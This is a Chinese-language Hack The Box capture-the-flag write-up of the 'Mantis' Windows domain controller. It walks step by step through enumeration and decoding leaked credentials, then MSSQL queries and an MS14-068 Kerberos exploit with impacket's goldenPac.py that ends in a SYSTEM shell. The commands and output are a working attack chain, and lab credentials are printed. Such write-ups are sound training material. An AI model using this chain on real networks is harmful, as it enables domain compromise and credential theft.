title: Hack The Box - Mantis(从敏感信息泄露到MS14-068域控提权漏洞CVE-2014-6324) author: World'sEnd layout: true categories: 内网安全 tags:
• 打靶日记
Go. It's always the most meaningful thing. Just do it.
出发，永远是最有意义的事，去做就是了。
Hack The Box - Mantis:
我觉得这台靶机能被评定为HARD(难得)，或许是因为其作者把握玩家的内心，他会将及其关键的线索轻易暴漏在玩家眼前，但尺度又把握的很好如若玩家不注意便会轻易错过，然后陷入他精心构造的兔子洞中致使玩家次次碰壁泄气。即使玩家迷途知返，也会再次被眼花缭乱的垃圾信息再次挑战耐心。直到玩家通过后回头复盘，才会发现这台靶机的难度甚至配不上一般。
# Nmap 7.92 scan initiated Sun Apr 24 15:27:17 2022 as: nmap -sV -sC -p- -Pn -T4 -oA nmap.txt 10.10.10.52
Nmap scan report for 10.10.10.52
Host is up (0.37s latency).
Not shown: 65508 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15CD4) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15CD4)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-24 07:40:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1337/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods:
|_ Potentially risky methods: TRACE
1433/tcp open ms-sql-s Microsoft SQL Server 2014 12.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-04-24T07:25:23
|_Not valid after: 2052-04-24T07:25:23
|_ssl-date: 2022-04-24T07:41:25+00:00; 0s from scanner time.
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: MANTIS
| DNS_Domain_Name: htb.local
| DNS_Computer_Name: mantis.htb.local
| DNS_Tree_Name: htb.local
|_ Product_Version: 6.1.7601
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
8080/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Tossed Salad - Blog
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49167/tcp open msrpc Microsoft Windows RPC
49176/tcp open msrpc Microsoft Windows RPC
49182/tcp open msrpc Microsoft Windows RPC
50255/tcp open ms-sql-s Microsoft SQL Server 2014 12.00.2000
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-04-24T07:25:23
|_Not valid after: 2052-04-24T07:25:23
|_ssl-date: 2022-04-24T07:41:25+00:00; 0s from scanner time.
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: MANTIS
| DNS_Domain_Name: htb.local
| DNS_Computer_Name: mantis.htb.local
| DNS_Tree_Name: htb.local
|_ Product_Version: 6.1.7601
Service Info: Host: MANTIS; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: mantis
| NetBIOS computer name: MANTIS\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: mantis.htb.local
|_ System time: 2022-04-24T03:41:09-04:00
| ms-sql-info:
| 10.10.10.52:1433:
| Version:
| name: Microsoft SQL Server 2014 RTM
| number: 12.00.2000.00
| Product: Microsoft SQL Server 2014
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_clock-skew: mean: 34m17s, deviation: 1h30m43s, median: 0s
| smb2-security-mode:
| 2.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-04-24T07:41:14
|_ start_date: 2022-04-24T07:23:53
| smb-security-mode:
| account_used:
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 24 15:41:32 2022 -- 1 IP address (1 host up) scanned in 855.52 secondsDNS：
执念，一如既往的失败。
$ dig axfr @10.10.10.52 htb.local
; <<>> DiG 9.18.0-2-Debian <<>> axfr @10.10.10.52 htb.loacl
; (1 server found)
;; global options: +cmd
; Transfer failed.$ dig axfr @10.10.10.52 mantis.htb.local
; <<>> DiG 9.18.0-2-Debian <<>> axfr @10.10.10.52 mantis.htb.local
; (1 server found)
;; global options: +cmd
; Transfer failed.RPC：
$ rpcclient -U "" -N 10.10.10.52
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
rpcclient $> 允许匿名访问，但不允许执行命令。
SMB:
SMB不允许匿名访问：
$ smbmap -H 10.10.10.52 -u whoami
[!] Authentication error on 10.10.10.52
HTTP：
什么都没有，或许我可以路径爆破看一眼：
$ dirsearch -u http://10.10.10.52:1337
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/worldisend/.dirsearch/reports/10.10.10.52-1337/_22-04-24_15-49-35.txt
Error Log: /home/worldisend/.dirsearch/logs/errors-22-04-24_15-49-35.log
Target: http://10.10.10.52:1337/
[15:49:36] Starting:
[15:49:39] 403 - 312B - /%2e%2e//google.com
[15:49:55] 403 - 2KB - /Trace.axd
[15:49:56] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[15:50:13] 403 - 1KB - /aspnet_client/
[15:50:13] 301 - 161B - /aspnet_client -> http://10.10.10.52:1337/aspnet_client/
[15:50:15] 301 - 161B - /secure_notes -> http://10.10.10.52:1337/secure_notes/
Task Completed 在secure_notes下有两个文件一个web.config会报404：
另一个名字特别长的向我表述了这样的信息：
1. Download OrchardCMS
2. Download SQL server 2014 Express ,create user "admin",and create orcharddb database
3. Launch IIS and add new website and point to Orchard CMS folder location.
4. Launch browser and navigate to http://localhost:8080
5. Set admin password and configure sQL server connection string.
6. Add blog pages with admin user.看起来像是一个个人博客，用的OrchardCMS，默认开到了8080，哦对目标8080端口是对外开放的。但是信息并没有这么简单，因为右边有个滚动条，可以往下拉很长很长，如果稍微不注意就错过了这条关键信息，如果不是不小心碰了下触摸板，我兴许就会错过：
Credentials stored in secure format
OrchardCMS admin creadentials 010000000110010001101101001000010110111001011111010100000100000001110011011100110101011100110000011100100110010000100001
SQL Server sa credentials file namez这是OrchardCMS管理admin用户的凭据，以二进制形式存储的，但是没关系，我可以解码：
$ echo "010000000110010001101101001000010110111001011111010100000100000001110011011100110101011100110000011100100110010000100001" | perl -lpe '$_=pack"B*",$_'
@dm!n_P@ssW0rd!而且该文件的名字很奇怪，它看起来像是某种编码格式：
$ echo "NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx" | base64 -d
6d2424716c5f53405f504073735730726421我在Burpsuite编码解码模块中，把该字符串不断的通过Burpsuite内置的解码模块去尝试，当我选择ascii16进制解码时，我把那串看起来像哈希但其实不是的字符串给解码了出来：
我又拿到了一个密码。但我不知道他是做什么的，虽然它告诉了我是mql。我竟然如此轻易的就可以获取到一些关键信息，看来前边的路会艰难，我可以去访问一下8080：
白色背景，隐藏了很多按钮，但这次我不需要像往常一样对它们一一分析甄别，因为这次我有管理账户密码，可以直接登录后台：
http://10.10.10.52/admin
这CMS很眼熟，很多管理程序的web页面，还有团队博客，或是某漏洞靶场平台，但是这个博客我觉得像是混淆视听的：
$ searchsploit OrchardCMS
Exploits: No Results
Shellcodes: No Results因为它没有公开漏洞，而且搜索引擎中的漏洞也都只有漏洞信息公告，没有具体说明。或许我不应该把它放在优先位去探寻，因为目标还有很多其他端口。
SQL：
我可以尝试登录1433，它可以工作：
$ sqsh -S 10.10.10.52 -U admin
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
Password:
1> 查询所有数据库：
1> SELECT * FROM SYSDATABASES
2> go信息不多，但是它的格式让我很难复制过来放在这里，而且也无关紧要，我只放关键的：
master
tempdb
model
msdb
orcharddb 五个数据库，以及它们的目录，都是这样的格式：
C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\DATA\orcharddb.mdf 获取orcharddb 数据库的所有表：
1> SELECT * FROM orcharddb.INFORMATION_SCHEMA.TABLES
2> go信息也很多，费眼睛。
获取orcharddb 数据库的所有列：
1> SELECT * FROM orcharddb.INFORMATION_SCHEMA.COLUMNS
2> go这东西最好找个图形化数据库连接工具，要不真的是在给自己找罪受。
获取博客用户记录：
在orcharddb中有这么一个表，它的名字是blog_Orchard_Users_UserPartRecord，用户记录：
1> use orcharddb
2> go
1> SELECT * FROM blog_Orchard_Users_UserPartRecord
2> go其中会包含一些信息，我还是截图吧。。。。
它看起来像是个域用户，看起来还获取到了它的密码。验证其合法不合法也简单，我去rpc试一下就可以：
$ rpcclient -U james 10.10.10.52
Enter WORKGROUP\james's password:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[james] rid:[0x44f]
rpcclient $>我可以获取目标的系统版本：
rpcclient $> srvinfo
10.10.10.52 Wk Sv Sql PDC Tim NT
platform_id : 500
os version : 6.1
server type : 0x80102f
rpcclient $> 可以在这个url对版本号进行比对：
https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
Nmap为我枚举是2008 R2，与之对的上。看起来目标应该是Windows 2008 R2系统。
我可以枚举一些域内的组：
rpcclient $> enumalsgroups domain
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]
group:[SQLServer2005SQLBrowserUser$MANTIS] rid:[0x450]
rpcclient $> 我会注意到DnsAdmins组，因为之前我通过远程注入DLL获取到过一台机器的system shell，SQLServer2005SQLBrowserUser$MANTIS我也会注意，因为我便是通过SQLServer获取到的凭证。
我有个合法的账户口令，但是我却登录不上去，因为目标也没有开启winrm协议端口，也未开启RDP。
但是windows 2008 作为域控服务器会存在一个漏洞，MS14-068域控提权漏洞(CVE-2014-6324），我习惯枚举敏感信息收集以及错误配置了，要不是又在标签中看到了CVE-2014-6324，我都没想到还有漏洞利用。如想了解更多的细节可参考以下文章：
https://labs.f-secure.com/archive/digging-into-ms14-068-exploitation-and-defence/Metasploit只有该漏洞的检测模块，没有该漏洞的利用模块。
sf-pro auxiliary(admin/kerberos/ms14_068_kerberos_checksum) > run
[*] Running module against 10.10.10.52
[*] Validating options...
[*] Using domain HTB.LOCAL...
[*] 10.10.10.52:88 - Sending AS-REQ...
[*] 10.10.10.52:88 - Parsing AS-REP...
[*] 10.10.10.52:88 - Sending TGS-REQ...
[+] 10.10.10.52:88 - Valid TGS-Response, extracting credentials...
[+] 10.10.10.52:88 - MIT Credential Cache saved on /opt/metasploit/apps/pro/loot/20220424175459_default_10.10.10.52_windows.kerberos_724354.bin
[*] Auxiliary module execution completed但是它可以帮我验证目标确实存在该漏洞，漏洞利用脚本在/impacket-0.9.24/examples中：
$ ./goldenPac.py -dc-ip 10.10.10.52 -target-ip 10.10.10.52 HTB.LOCAL/james@mantis.htb.local
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
Password:
[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[-] Couldn't get forest info ([Errno Connection error (htb.local:445)] [Errno -2] Name or service not known), continuing
[*] Attacking domain controller 10.10.10.52
[*] 10.10.10.52 found vulnerable!
[*] Requesting shares on 10.10.10.52.....
[*] Found writable share ADMIN$
[*] Uploading file DorWWjHF.exe
[*] Opening SVCManager on 10.10.10.52.....
[*] Creating service QvJn on 10.10.10.52.....
[*] Starting service QvJn.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>注意密码，尽量自己手动输入，因为复制粘贴会很坑，我觉得是作者故意的，密码中的一些特殊符号会导致很多工具对参数错误的识别。
获取flag：
C:\Users\james>cd desktop
C:\Users\james\Desktop>type user.txt
C:\Users\Administrator\Desktop>type root.txt